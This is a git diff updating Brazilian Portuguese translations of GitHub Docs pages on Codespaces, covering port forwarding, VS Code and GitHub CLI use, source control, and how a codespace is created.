-  ![Name of codespace](/assets/images/help/codespaces/click-name-codespace.png)
+2. Clique no nome do codespace em que você deseja desenvolver. ![Nome do codespace](/assets/images/help/codespaces/click-name-codespace.png)
 
-Alternatively, you can see any active codespaces for a repository by navigating to that repository and selecting **{% octicon "code" aria-label="The code icon" %} Code**. The drop-down menu will display all active codespaces for a repository.
+Como alternativa, você pode ver qualquer codespace ativo para um repositório acessando esse repositório e selecionando o **Código de {% octicon "code" aria-label="The code icon" %}**. O menu suspenso exibirá todos os codespaces ativos de um repositório.
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
index c0521d3711..2bcef2c925 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
@@ -29,8 +29,6 @@ Você também pode encaminhar uma porta manualmente, etiquetar portas encaminhad
 
 Você pode encaminhar manualmente uma porta que não foi encaminhada automaticamente.
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -73,7 +71,7 @@ Por padrão, {% data variables.product.prodname_codespaces %} encaminha portas u
 Para encaminhar uma porta use o subcomando `gh codespace ports forward`. Substitua `codespace-port:local-port` pelas portas remotas e locais que você deseja conectar. Depois de entrar no comando, escolha entre a lista de codespaces exibidos.
 
 ```shell
-gh codespace ports forward <em>codespace-port</em>:<em>local-port</em> 
+gh codespace ports forward <em>codespace-port</em>:<em>local-port</em>
 ```
 
 Para obter mais informações sobre esse comando, consulte [o manual de{% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_ports_forward).
@@ -92,8 +90,6 @@ Para ver os detalhes das portas encaminhadas, digite `gh codespace ports` e, em
 
 Se você quiser compartilhar uma porta encaminhada com outras pessoas, você pode tornar a porta privada da sua organização ou tornar a porta pública. Após tornar uma porta privada para a sua organização, qualquer pessoa na organização com a URL da porta poderá ver o aplicativo em execução. Após você tornar uma porta pública, qualquer pessoa que conheça a URL e o número da porta poderá ver o aplicativo em execução sem precisar efetuar a autenticação.
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -119,7 +115,7 @@ Para alterar a visibilidade de uma porta encaminhada, use a visibilidade do subc
 Substitua `codespace-port` pelo número da porta encaminhada. Substitua `configuração` por `privado`, `org` ou `público`. Depois de entrar no comando, escolha entre a lista de codespaces exibidos.
 
 ```shell
-gh codespace ports visibility <em>codespace-port</em>:<em>setting</em> 
+gh codespace ports visibility <em>codespace-port</em>:<em>setting</em>
 ```
 
 Você pode definir a visibilidade de várias portas com um comando. Por exemplo:
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/index.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/index.md
index 64e671622b..fbd67cb580 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/index.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/index.md
@@ -1,6 +1,6 @@
 ---
-title: Developing in a codespace
-intro: 'Create a codespace to get started with developing your project inside a dedicated cloud environment. You can use forwarded ports to run your application and even use codespaces inside {% data variables.product.prodname_vscode %}'
+title: Desenvolver em um codespace
+intro: 'Crie um codespace para começar a desenvolver seu projeto dentro de um ambiente de nuvem dedicado. Você pode usar portas encaminhadas para executar o seu aplicativo e até mesmo usar codespaces dentro de {% data variables.product.prodname_vscode %}'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -20,4 +20,4 @@ children:
   - /using-codespaces-in-visual-studio-code
   - /using-codespaces-with-github-cli
 ---
- 
+
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
index 2f9f4c0cdc..7c87a7e87c 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
@@ -1,6 +1,6 @@
 ---
-title: Using Codespaces in Visual Studio Code
-intro: 'You can develop in your codespace directly in {% data variables.product.prodname_vscode %} by connecting the {% data variables.product.prodname_github_codespaces %} extension with your account on {% data variables.product.product_name %}.'
+title: Usar espaços de código no Visual Studio Code
+intro: 'Você pode desenvolver seu codespace diretamente em {% data variables.product.prodname_vscode %}, conectando a extensão de {% data variables.product.prodname_github_codespaces %} à sua conta no {% data variables.product.product_name %}.'
 product: '{% data reusables.gated-features.codespaces %}'
 redirect_from:
   - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code
@@ -18,90 +18,96 @@ shortTitle: Visual Studio Code
 ---
 
  
-## About {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}
+## Sobre {% data variables.product.prodname_codespaces %} em {% data variables.product.prodname_vscode %}
 
-You can use your local install of {% data variables.product.prodname_vscode %} to create, manage, work in, and delete codespaces. To use {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}, you need to install the {% data variables.product.prodname_github_codespaces %} extension. For more information on setting up Codespaces in {% data variables.product.prodname_vscode %}, see "[Prerequisites](#prerequisites)."
+Você pode usar sua instalação local de {% data variables.product.prodname_vscode %} para criar, gerenciar, trabalhar e excluir codespaces. Para usar {% data variables.product.prodname_codespaces %} em {% data variables.product.prodname_vscode %}, você deverá instalar a extensão de {% data variables.product.prodname_github_codespaces %}. Para obter mais informações sobre a configuração de codespaces em {% data variables.product.prodname_vscode %}, consulte "[pré-requisitos](#prerequisites)".
 
-By default, if you create a new codespace on {% data variables.product.prodname_dotcom_the_website %}, it will open in the browser. If you would prefer to open any new codespaces in {% data variables.product.prodname_vscode %} automatically, you can set your default editor to be {% data variables.product.prodname_vscode %}. For more information, see "[Setting your default editor for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces)."
+Por padrão, se você criar um novo codespace em {% data variables.product.prodname_dotcom_the_website %}, ele será aberto no navegador. Se você preferir abrir qualquer codespace novo em {% data variables.product.prodname_vscode %} automaticamente, você pode definir seu editor padrão como {% data variables.product.prodname_vscode %}. Para obter mais informações, consulte "[Definindo seu editor padrão para {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces)".
 
-If you prefer to work in the browser, but want to continue using your existing {% data variables.product.prodname_vscode %} extensions, themes, and shortcuts, you can turn on Settings Sync. For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account#settings-sync)."
+Se você preferir trabalhar no navegador, mas deseja continuar usando suas extensões de {% data variables.product.prodname_vscode %} temas e atalhos existentes, você poderá ativar as Configurações Sincronizadas. Para obter mais informações, consulte "[Personalizar {% data variables.product.prodname_codespaces %} para sua conta](/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account#settings-sync)".
 
-## Prerequisites
+## Pré-requisitos
 
-To develop in a codespace directly in {% data variables.product.prodname_vscode %}, you must install and sign into the {% data variables.product.prodname_github_codespaces %} extension with your {% data variables.product.product_name %} credentials. The {% data variables.product.prodname_github_codespaces %} extension requires {% data variables.product.prodname_vscode %} October 2020 Release 1.51 or later.
+Para desenvolver-se em uma plataforma de codespace diretamente em {% data variables.product.prodname_vscode %}, você deverá instalar e efetuar o login na extensão {% data variables.product.prodname_github_codespaces %} com as suas credenciais de {% data variables.product.product_name %}. A extensão de {% data variables.product.prodname_github_codespaces %} exige a versão de outubro de 2020 1.51 ou posterior de {% data variables.product.prodname_vscode %}.
 
-Use the {% data variables.product.prodname_vs %} Marketplace to install the [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) extension. For more information, see [Extension Marketplace](https://code.visualstudio.com/docs/editor/extension-gallery) in the {% data variables.product.prodname_vscode %} documentation.
+Use o {% data variables.product.prodname_vs %} Marketplace para instalar a extensão [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). Para obter mais informações, consulte [Extensão do Marketplace](https://code.visualstudio.com/docs/editor/extension-gallery) na documentação do {% data variables.product.prodname_vscode %}.
 
 
 {% mac %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
+1. Clique em **Iniciar sessão para visualizar {% data variables.product.prodname_dotcom %}...**.
 
-   ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
+   ![Registrar-se para visualizar {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
 
-3. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-4. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. Para autorizar o {% data variables.product.prodname_vscode %} a acessar sua conta no {% data variables.product.product_name %}, clique em **Permitir**.
+1. Registre-se e, {% data variables.product.product_name %} para aprovar a extensão.
 
 {% endmac %}
 
 {% windows %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
+1. Utilize o menu suspenso "EXPLORADOR REMOTO" e clique em **{% data variables.product.prodname_github_codespaces %}**.
 
-   ![The {% data variables.product.prodname_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png)
+   ![Cabeçalho do {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/codespaces-header-vscode.png)
 
-3. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
+1. Clique em **Iniciar sessão para visualizar {% data variables.product.prodname_codespaces %}...**.
 
-   ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png)
+   ![Registrar-se para visualizar {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png)
 
-4. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-5. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. Para autorizar o {% data variables.product.prodname_vscode %} a acessar sua conta no {% data variables.product.product_name %}, clique em **Permitir**.
+1. Registre-se e, {% data variables.product.product_name %} para aprovar a extensão.
 
 {% endwindows %}
 
-## Creating a codespace in {% data variables.product.prodname_vscode %}
+## Criar um codespace em {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.creating-a-codespace-in-vscode %}
 
-## Opening a codespace in {% data variables.product.prodname_vscode %}
+## Abrir um codespace em {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Under "Codespaces", click the codespace you want to develop in.
-3. Click the Connect to Codespace icon.
+1. Em "Codedespaces", clique no código que você deseja desenvolver.
+1. Clique no ícone Conectar-se ao Codespace.
 
-   ![The Connect to Codespace icon in {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png)
+   ![Ícone de conectar-se a um Codespace em {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png)
 
-## Changing the machine type in {% data variables.product.prodname_vscode %}
+## Alterar o tipo da máquina em {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.codespaces-machine-types %}
 
-You can change the machine type of your codespace at any time.
+Você pode alterar o tipo de máquina do seu codespace a qualquer momento.
 
-1. In {% data variables.product.prodname_vscode %}, open the Command Palette (`shift command P` / `shift control P`).
-2. Search for and select "Codespaces: Change Machine Type."
+1. Em {% data variables.product.prodname_vscode %}, abra a Paleta de Comando (`shift comando P` / `shift control P`).
+1. Pesquise e selecione "Codespaces: Alterar tipo de máquina."
 
-   ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png)
+   ![Pesquisar um branch para criar um novo {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png)
 
-3. Click the codespace that you want to change.
+1. Clique no codespace que você deseja alterar.
 
-   ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png)
+   ![Pesquisar um branch para criar um novo {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png)
 
-4. Choose the machine type you want to use. 
+1. Escolha o tipo de máquina que você quer usar.
 
-If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now. Click **Yes** if you want to change the machine type used for this codespace immediately. If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
-## Deleting a codespace in {% data variables.product.prodname_vscode %}
+1. Se o codespace estiver sendo executado, será exibida uma mensagem perguntando se você deseja reiniciar e reconectar-se ao seu codespace agora.
+
+   Clique em **Sim** se desejar mudar o tipo de máquina utilizado para este codespace imediatamente.
+
+   Se você clicar em **Não**, ou se o código não estiver em execução, a alteração entrará em vigor na próxima vez que o codespace for reiniciado.
+
+## Excluir um codespace em {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.deleting-a-codespace-in-vscode %}
 
-## Switching to the Insiders build of {% data variables.product.prodname_vscode %}
+## Alternando para a compilação de Insiders de {% data variables.product.prodname_vscode %}
 
-You can use the [Insiders Build of Visual Studio Code](https://code.visualstudio.com/docs/setup/setup-overview#_insiders-nightly-build) within {% data variables.product.prodname_codespaces %}.
+Você pode usar o [Insiders Build do Visual Studio Code](https://code.visualstudio.com/docs/setup/setup-overview#_insiders-nightly-build) em {% data variables.product.prodname_codespaces %}.
 
-1. In bottom left of your {% data variables.product.prodname_codespaces %} window, select **{% octicon "gear" aria-label="The settings icon" %} Settings**.
-2. From the list, select "Switch to Insiders Version".
+1. Na parte inferior esquerda da sua janela {% data variables.product.prodname_codespaces %}, selecione **Configurações de {% octicon "gear" aria-label="The settings icon" %}**.
+2. Na lista, selecione "Alternar para Versão de Insiders".
 
-   ![Clicking on "Insiders Build" in {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/codespaces-insiders-vscode.png)
-3. Once selected, {% data variables.product.prodname_codespaces %} will continue to open in Insiders Version.
+   ![Clicando em "Insiders Build" em {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/codespaces-insiders-vscode.png)
+3. Uma vez selecionado, {% data variables.product.prodname_codespaces %} continuará a abrir na Versão do Insiders.
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
index 1584119124..a7f871c5f8 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
@@ -153,7 +153,7 @@ Para obter mais informações sobre o comando `gh code cp`, incluindo sinalizado
 
 ### Modificar portas em um codespace
 
-Você pode encaminhar uma porta em um codespace para uma porta local. A porta será encaminhada enquanto o processo estiver em execução. Para parar de encaminhar a porta, pressione <kbd>control</kbd>+<kbd>c</kbd>.
+Você pode encaminhar uma porta em um codespace para uma porta local. A porta será encaminhada enquanto o processo estiver em execução. To stop forwarding the port, press <kbd>Control</kbd>+<kbd>C</kbd>.
 
 ```shell
 gh codespace ports forward <em>codespace-port-number</em>:<em>local-port-number</em> -c <em>codespace-name</em>
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
index 9840e7b32f..03e5b0200a 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Using source control in your codespace
-intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository.
+title: Usando controle de origem no seu codespace
+intro: 'Depois de fazer alterações em um arquivo no seu código, você pode fazer um commit rápido das alterações e fazer push da sua atualização para o repositório remoto.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -10,73 +10,68 @@ topics:
   - Codespaces
   - Fundamentals
   - Developer
-shortTitle: Source control
+shortTitle: controle de origem
 ---
 
  
 
-## About source control in {% data variables.product.prodname_codespaces %}
+## Sobre o controle de origem em {% data variables.product.prodname_codespaces %}
 
-You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from the remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control.
+Você pode executar todas as ações do Git necessárias diretamente no seu codespace. Por exemplo, é possível obter alterações do repositório remoto, alternar os branches, criar um novo branch, fazer commit, fazer push e criar um pull request. Você pode usar o terminal integrado dentro do seu codespace para inserir nos comandos do Git, ou você pode clicar em ícones e opções de menu para realizar todas as tarefas mais comuns do Git. Este guia explica como usar a interface gráfica de usuário para controle de origem.
 
-Source control in {% data variables.product.prodname_github_codespaces %} uses the same workflow as {% data variables.product.prodname_vscode %}. For more information, see the {% data variables.product.prodname_vscode %} documentation "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)."
+O controle de origem em {% data variables.product.prodname_github_codespaces %} usa o mesmo fluxo de trabalho que {% data variables.product.prodname_vscode %}. Para obter mais informações, consulte a documentação {% data variables.product.prodname_vscode %}"[Usando Controle de Versão no Código VS](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)".
 
-A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be:
+Um fluxo de trabalho típico para atualizar um arquivo que usa {% data variables.product.prodname_github_codespaces %} seria:
 
-* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
-* In your codespace, create a new branch to work on.
-* Make your changes and save them.
-* Commit the change.
-* Raise a pull request.
+* A partir do branch padrão do seu repositório em {% data variables.product.prodname_dotcom %}, crie um codespace. Consulte "[Criando um codespace](/codespaces/developing-in-codespaces/creating-a-codespace)".
+* No seu código, crie uma nova agência para trabalhar.
+* Faça suas alterações e salve-as.
+* Faça commit da alteração.
+* Abra um pull request.
 
-## Creating or switching branches
+## Criar ou trocar de branches
 
 {% data reusables.codespaces.create-or-switch-branch %}
 
 {% tip %}
 
-**Tip**: If someone has changed a file on the remote repository, in the branch you switched to, you will not see those changes until you pull the changes into your codespace. 
+**Dica**: Se alguém alterou um arquivo no repositório remoto, no branch para o qual você mudou, você não verá essas alterações até você fazer pull das alterações no seu codespace.
 
 {% endtip %}
 
-## Pulling changes from the remote repository
+## Fazer pull das alterações do repositório remoto
 
-You can pull changes from the remote repository into your codespace at any time. 
+Você pode fazer pull das alterações do repositório remoto para seu codespace a qualquer momento.
 
 {% data reusables.codespaces.source-control-display-dark %}
-1. At the top of the side bar, click the ellipsis (**...**).
-![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button.png)
-1. In the drop-down menu, click **Pull**.
+1. Na parte superior da barra lateral, clique na elipse (**...**). ![Botão Elipsis para visualizar e mais ações](/assets/images/help/codespaces/source-control-ellipsis-button.png)
+1. No menu suspenso, clique em **Pull**.
 
-If the dev container configuration has been changed since you created the codespace, you can apply the changes by rebuilding the container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)."
+Se a configuração do contêiner dev foi alterada desde que você criou o codespace, você pode aplicar as alterações reconstruindo o contêiner para o codespace. Para obter mais informações, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)".
 
-## Setting your codespace to automatically fetch new changes 
+## Configurar o seu codespace para buscar novas alterações automaticamente
 
-You can set your codespace to automatically fetch details of any new commits that have been made to the remote repository. This allows you to see whether your local copy of the repository is out of date, in which case you may choose to pull in the new changes. 
+É possível definir seu codespace para obter automaticamente os detalhes de quaisquer novos commits que tenham sido criados no repositório remoto. Isso permite que você veja se sua cópia local do repositório está desatualizada. Nesse caso, você pode optar por fazer pull das novas alterações.
 
-If the fetch operation detects new changes on the remote repository, you'll see the number of new commits in the status bar. You can then pull the changes into your local copy.
+Se a operação de busca detectarem novas alterações no repositório remoto, você verá o número de novos commits na barra de status. Você pode fazer pull das alterações para a sua cópia local.
 
-1. Click the **Manage** button at the bottom of the Activity Bar.
-![Manage button](/assets/images/help/codespaces/manage-button.png)
-1. In the menu, slick **Settings**.
-1. On the Settings page, search for: `autofetch`.
-![Search for autofetch](/assets/images/help/codespaces/autofetch-search.png)
-1. To fetch details of updates for all remotes registered for the current repository, set **Git: Autofetch** to `all`.
-![Enable Git autofetch](/assets/images/help/codespaces/autofetch-all.png)
-1. If you want to change the number of seconds between each automatic fetch, edit the value of **Git: Autofetch Period**.
+1. Clique no botão **Gerenciar** na parte inferior da barra de atividades. ![Botão Gerenciar](/assets/images/help/codespaces/manage-button.png)
+1. No menu, clique em **Configurações**.
+1. Na página de configurações, pesquise por: `Autofetch`. ![Pesquisar por busca automática](/assets/images/help/codespaces/autofetch-search.png)
+1. Para buscar os detalhes das atualizações para todos os controles remotos registrados no repositório atual, defina **Git: Autofetch** como `todos`. ![Habilite a busca automática do Git](/assets/images/help/codespaces/autofetch-all.png)
+1. Se você deseja alterar o número de segundos entre cada busca automática, edite o valor de **Git: Período de Autofetch**.
 
-## Committing your changes 
+## Fazendo commit das suas alterações
 
-{% data reusables.codespaces.source-control-commit-changes %} 
+{% data reusables.codespaces.source-control-commit-changes %}
 
-## Raising a pull request
+## Abrindo um pull request
 
-{% data reusables.codespaces.source-control-pull-request %} 
+{% data reusables.codespaces.source-control-pull-request %}
 
-## Pushing changes to your remote repository
+## Fazer push das alterações para o seu repositório remoto
 
-You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}.
+Você pode fazer push das alterações que fez. Isso aplica essas alterações ao branch upstream no repositório remoto. Você pode querer fazer isso se ainda não estiver pronto para criar um pull request, ou se você preferir criar um pull request em {% data variables.product.prodname_dotcom %}.
 
-1. At the top of the side bar, click the ellipsis (**...**).
-![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
-1. In the drop-down menu, click **Push**.
+1. Na parte superior da barra lateral, clique na elipse (**...**). ![Botão Elipsis para visualizar e mais ações](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
+1. No menu suspenso, clique em **Push**.
diff --git a/translations/pt-BR/content/codespaces/getting-started/deep-dive.md b/translations/pt-BR/content/codespaces/getting-started/deep-dive.md
index 341f4d1d3d..5ff8ce484f 100644
--- a/translations/pt-BR/content/codespaces/getting-started/deep-dive.md
+++ b/translations/pt-BR/content/codespaces/getting-started/deep-dive.md
@@ -1,6 +1,6 @@
 ---
-title: Deep dive into Codespaces
-intro: 'Understand how {% data variables.product.prodname_codespaces %} works.'
+title: Aprofundamento nos codespaces
+intro: 'Entender o funcionamento do {% data variables.product.prodname_codespaces %};'
 allowTitleToDifferFromFilename: true
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
@@ -11,109 +11,109 @@ topics:
   - Codespaces
 ---
 
-{% data variables.product.prodname_codespaces %} is an instant, cloud-based development environment that uses a container to provide you with common languages, tools, and utilities for development. {% data variables.product.prodname_codespaces %} is also configurable, allowing you to create a customized development environment for your project. By configuring a custom development environment for your project, you can have a repeatable codespace configuration for all users of your project.
+{% data variables.product.prodname_codespaces %} é um ambiente de desenvolvimento instantâneo e baseado na nuvem que usa um recipiente para fornecer linguagens, ferramentas e utilitários de desenvolvimento comuns. {% data variables.product.prodname_codespaces %} também é configurável, o que permite que você crie um ambiente de desenvolvimento personalizado para o seu projeto. Ao configurar um ambiente de desenvolvimento personalizado para seu projeto, você pode ter uma configuração de código reproduzível para todos os usuários do seu projeto.
 
-## Creating your codespace
+## Criando seu codespace
 
-There are a number of entry points to create a codespace.
+Há uma série de pontos de entrada para criar um codespace.
 
-- From your repository for new feature work.
-- From an open pull request to explore work-in-progress.
-- From a commit in the repository's history to investigate a bug at a specific point in time.
-- From {% data variables.product.prodname_vscode %}.
-  
-Your codespace can be ephemeral if you need to test something or you can return to the same codespace to work on long-running feature work. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
+- Do seu repositório para um novo recurso funcionar.
+- De um pull request aberto para explorar o trabalho em andamento.
+- De um commit no histórico do repositório para investigar um erro em um momento específico.
+- De {% data variables.product.prodname_vscode %}.
 
-Once you've selected the option to create a new codespace, some steps happen in the background before the codespace is available to you.
+Seu codespace pode ser efêmero se você tiver de fazer algum teste ou você pode retornar ao mesmo codespace para fazer um trabalho de recurso de longo prazo. Para obter mais informações, consulte "[Criar um codespace](/codespaces/developing-in-codespaces/creating-a-codespace)".
 
-![Open with Codespaces button](/assets/images/help/codespaces/new-codespace-button.png)
+Depois de selecionar a opção de criar um novo codespace, algumas etapas são executadas em segundo plano antes que o codespace esteja disponível para você.
 
-### Step 1: VM and storage are assigned to your codespace
+![Botão de abrir com codespaces](/assets/images/help/codespaces/new-codespace-button.png)
 
-When you create a codespace, a [shallow clone](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) of your repository is made on a Linux virtual machine that is both dedicated and private to you. Having a dedicated VM ensures that you have the entire set of compute resources from that machine available to you. If necessary, this also allows you to have full root access to your container.
+### Etapa 1: A VM e o armazenamento são atribuídos ao seu codespace
 
-### Step 2: Container is created
+Ao criar um codespace, cria-se [clone superficial](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) do seu repositório em uma máquina virtual Linux dedicada e exclusiva para você. Ter uma VM dedicada garante que você tenha todo o conjunto de recursos de computação daquela máquina disponível para você. Se necessário, isso também permite que você tenha acesso total à raiz do seu contêiner.
 
-{% data variables.product.prodname_codespaces %} uses a container as the development environment. This container is created based on the configurations that you can define in a `devcontainer.json` file and/or Dockerfile in your repository. If you don't [configure a container](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project), {% data variables.product.prodname_codespaces %} uses a [default image](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project#using-the-default-configuration), which has many languages and runtimes available. For information on what the default image contains, see the [`vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository.
+### Etapa 2: O contêiner foi criado
+
+{% data variables.product.prodname_codespaces %} usa um contêiner como ambiente de desenvolvimento. Este contêiner foi criado com base nas configurações que você pode definir em um arquivo `devcontainer.json` e/ou arquivo Docker no seu repositório. Se você não [configurar um contêiner](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project), {% data variables.product.prodname_codespaces %} usará uma [imagem padrão](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project#using-the-default-configuration), que tem muitas linguages e tempos de execução disponíveis. Para obter informações sobre o que a imagem padrão contém, consulte o repositório [`vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux).
 
 {% note %}
 
-**Note:** If you want to use Git hooks in your codespace and apply anything in the [git template directory](https://git-scm.com/docs/git-init#_template_directory) to your codespace, then you must set up hooks during step 4 after the container is created.
+**Observação:** Se você quiser usar hooks do Git no seu codespace e aplicar qualquer coisa no do [diretório do modelo do git](https://git-scm.com/docs/git-init#_template_directory) no seu codespace, você deverá configurar os hooks na etapa 4 depois que o contêiner for criado.
 
-Since your repository is cloned onto the host VM before the container is created, anything in the [git template directory](https://git-scm.com/docs/git-init#_template_directory) will not apply in your codespace unless you set up hooks in your `devcontainer.json` configuration file using the `postCreateCommand` in step 4. For more information, see "[Step 4: Post-creation setup](#step-4-post-creation-setup)."
+Uma vez que seu repositório é clonado na VM de host antes da criação do contêiner nada no [diretório do template do git](https://git-scm.com/docs/git-init#_template_directory) não será aplicado no seu codespace a menos que você configure hooksno seu arquivo de configuração `devcontainer.json` usando o `postCreateCommand` na etapa 4. Para obter mais informações, consulte "[Etapa 4: configuração de pós-criação](#step-4-post-creation-setup)".
 
 {% endnote %}
 
-### Step 3: Connecting to the codespace
+### Etapa 3: Conectando-se ao codespace
 
-When your container has been created and any other initialization has run, you'll be connected to your codespace. You can connect to it through the web or via [Visual Studio Code](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code), or both, if needed.
+Quando seu contêiner for criado e qualquer outra inicialização for executada, você estará conectado ao seu codespace. Você pode conectar-se por meio da web ou via [Visual Studio Code](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code), ou ambos, se necessário.
 
-### Step 4: Post-creation setup
+### Passo 4: Configuração de pós-criação
 
-Once you are connected to your codespace, your automated setup may continue to build based on the configuration you specified in your `devcontainer.json` file. You may see `postCreateCommand` and `postAttachCommand` run.
+Uma vez que você estiver conectado ao seu codespace, a sua configuração automatizada poderá continuar compilando com base na configuração que você especificou no seu arquivo `devcontainer.json`. Você pode ver `postCreateCommand` e `postAttachCommand` serem executados.
 
